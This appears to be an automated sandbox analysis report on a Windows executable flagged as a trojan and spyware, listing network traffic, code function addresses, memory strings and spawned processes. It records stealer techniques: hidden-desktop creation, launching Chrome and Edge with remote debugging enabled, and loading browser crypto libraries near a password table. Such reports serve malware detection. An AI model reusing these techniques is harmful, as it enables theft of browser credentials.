Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50113 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.2:443 -> 192.168.2.5:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.159.2:443 -> 192.168.2.5:49840 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49977 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:50073 version: TLS 1.2

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00789E30 memset,wsprintfA,OpenDesktopA,CreateDesktopA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcpy,memset,CreateProcessA,Sleep,CloseDesktop,

0_2_00789E30

System Summary

PE file has a writeable .text section

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65AC60	0_2_6C65AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72AC30	0_2_6C72AC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C716C00	0_2_6C716C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64ECC0	0_2_6C64ECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AECD0	0_2_6C6AECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71ED70	0_2_6C71ED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C77AD50	0_2_6C77AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D8D20	0_2_6C7D8D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7DCDC0	0_2_6C7DCDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C654DB0	0_2_6C654DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E6D90	0_2_6C6E6D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EEE70	0_2_6C6EEE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C730E20	0_2_6C730E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65AEC0	0_2_6C65AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F0EC0	0_2_6C6F0EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6D6E90	0_2_6C6D6E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C712F70	0_2_6C712F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6BEF40	0_2_6C6BEF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C790F20	0_2_6C790F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C656F10	0_2_6C656F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72EFF0	0_2_6C72EFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C650FE0	0_2_6C650FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C798FB0	0_2_6C798FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C65EFB0	0_2_6C65EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C724840	0_2_6C724840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A0820	0_2_6C6A0820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DA820	0_2_6C6DA820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7568E0	0_2_6C7568E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C688960	0_2_6C688960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A6900	0_2_6C6A6900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76C9E0	0_2_6C76C9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6849F0	0_2_6C6849F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7109B0	0_2_6C7109B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E09A0	0_2_6C6E09A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C70A9A0	0_2_6C70A9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CCA70	0_2_6C6CCA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C708A30	0_2_6C708A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FEA00	0_2_6C6FEA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6CEA80	0_2_6C6CEA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C756BE0	0_2_6C756BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F0BA0	0_2_6C6F0BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C668460	0_2_6C668460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B4420	0_2_6C6B4420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DA430	0_2_6C6DA430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6964D0	0_2_6C6964D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EA4D0	0_2_6C6EA4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C77A480	0_2_6C77A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B2560	0_2_6C6B2560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F0570	0_2_6C6F0570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C798550	0_2_6C798550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A8540	0_2_6C6A8540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C754540	0_2_6C754540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71A5E0	0_2_6C71A5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6DE5F0	0_2_6C6DE5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6445B0	0_2_6C6445B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AC650	0_2_6C6AC650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AE6E0	0_2_6C6AE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EE6E0	0_2_6C6EE6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6746D0	0_2_6C6746D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6D0700	0_2_6C6D0700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C67A7D0	0_2_6C67A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C69E070	0_2_6C69E070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C718010	0_2_6C718010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71C000	0_2_6C71C000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C72C0B0	0_2_6C72C0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6600B0	0_2_6C6600B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C648090	0_2_6C648090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B8140	0_2_6C6B8140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C734130	0_2_6C734130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C6130	0_2_6C6C6130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6501E0	0_2_6C6501E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6D8260	0_2_6C6D8260
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E8250	0_2_6C6E8250
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C728220	0_2_6C728220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71A210	0_2_6C71A210
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D62C0	0_2_6C7D62C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C71E2B0	0_2_6C71E2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7222A0	0_2_6C7222A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C792370	0_2_6C792370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C652370	0_2_6C652370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C76C360	0_2_6C76C360
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E6370	0_2_6C6E6370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C658340	0_2_6C658340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6C2320	0_2_6C6C2320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6A43E0	0_2_6C6A43E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6823A0	0_2_6C6823A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6AE3B0	0_2_6C6AE3B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C653C40	0_2_6C653C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C779C40	0_2_6C779C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C661C30	0_2_6C661C30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C711CE0	0_2_6C711CE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C78DCD0	0_2_6C78DCD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6EFC80	0_2_6C6EFC80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6B3D00	0_2_6C6B3D00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C721DC0	0_2_6C721DC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C643D80	0_2_6C643D80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C799D90	0_2_6C799D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7ABE70	0_2_6C7ABE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7D5E60	0_2_6C7D5E60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C75DE10	0_2_6C75DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C673EC0	0_2_6C673EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C685F20	0_2_6C685F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C645F30	0_2_6C645F30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7A7F20	0_2_6C7A7F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6FBFF0	0_2_6C6FBFF0

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C673620 appears 66 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C679B10 appears 72 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C789F30 appears 31 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C7D09D0 appears 133 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 00784610 appears 316 times

Source: file.exe, 00000000.00000002.2593715669.000000006F8F2000.00000002.00000001.01000000.0000000B.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@63/306@28/23

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6B0300 MapViewOfFile,GetLastError,FormatMessageA,PR_LogPrint,GetLastError,PR_SetError,

0_2_6C6B0300

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00798810 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00798810

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00793970 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00793970

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\15JG4E0N.htm

Jump to behavior

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

File created: C:\Users\user\AppData\Local\Temp\335b611a-b3a0-4f9d-ae47-c70678a267bf.tmp

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2585397596.000000001B557000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2592844884.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2585397596.000000001B557000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2592844884.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2585397596.000000001B557000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2592844884.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2585397596.000000001B557000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2592844884.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2585397596.000000001B557000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2592844884.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmp, file.exe, 00000000.00000002.2585397596.000000001B557000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2592844884.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.2585397596.000000001B557000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2592844884.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2418223826.000000002160F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2311711156.000000002161B000.00000004.00000020.00020000.00000000.sdmp, KKJEBAAECBGDHIECAKJK.0.dr, JJECGHJDBFIJJJKEHCBF.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2585397596.000000001B557000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2592844884.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2585397596.000000001B557000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2592844884.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 44%

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2320 --field-trial-handle=2268,i,15294783422747119345,5635415483272853884,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2340 --field-trial-handle=2200,i,4606429550156952016,8987385730594920496,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2232 --field-trial-handle=2244,i,3549332289603194075,12636020147107596924,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6924 --field-trial-handle=2244,i,3549332289603194075,12636020147107596924,262144 /prefetch:8
